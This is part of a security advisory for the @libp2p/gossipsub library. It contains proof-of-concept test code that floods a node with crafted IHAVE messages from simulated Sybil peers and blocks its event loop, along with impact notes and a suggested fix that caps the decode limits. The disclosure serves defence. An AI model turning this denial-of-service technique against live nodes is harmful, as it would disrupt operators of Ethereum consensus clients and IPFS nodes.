Advisory

GHSA-cwc9-cp4j-mcvv

Details, part 2 of 2. The advisory

Details

})

it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => {
const N_PEERS = 10
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

// Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes
const fakeMeshPeers: Set<string> = new Set()
;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)

let totalElapsed = 0

for (let i = 0; i < N_PEERS; i++) {
// Each "Sybil" peer uses a unique peer ID string
const fakePeerId = 12D3KooW${i.toString().padStart(36, '0')}
fakeMeshPeers.add(fakePeerId)

// Fresh counters: simulates a peer the victim hasn't seen this heartbeat
;(victim.pubsub as any).peerhave.delete(fakePeerId)
;(victim.pubsub as any).iasked.delete(fakePeerId)
// Score defaults to 0 (> gossipThreshold of -10): no score entry needed

const t0 = performance.now()
;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])
const elapsed = performance.now() - t0

totalElapsed += elapsed
process.stdout.write( peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n)
}

const ratio = totalElapsed / GossipsubHeartbeatInterval
console.log(\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total)
console.log([PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms)
console.log([PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x)
console.log([PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound)
console.log([PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely)

// 10 peers should easily exceed the 1s heartbeat interval
assert.ok(
totalElapsed > GossipsubHeartbeatInterval * 0.9,
expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms
)
})

it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => {
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

const rpc = RPC.encode({
subscriptions: [],
messages: [],
control: {
ihave: [{ topicID: TOPIC, messageIDs }],
iwant: [],
graft: [],
prune: [],
idontwant: []
}
})

const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed

console.log(\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB)
console.log([PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB)
console.log([PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'})
console.log([PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap))

assert.ok(rpc.byteLength <= MAX_LP_BYTES,
crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection)
})
})


The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.

### Impact
Any node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.

With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.

Nodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.

## Suggested fix

Set finite defaults in `decodeRpc.ts`:
```typescript
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
  maxSubscriptions: 128,
  maxMessages: 256,                                                                                                                                                                                                                                  
  maxIhaveMessageIDs: 5_000,
  maxIwantMessageIDs: 5_000,                                
  maxIdontwantMessageIDs: 5_000,
  maxControlMessages: 128,
  maxPeerInfos: 16
}

Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.

Sources & licences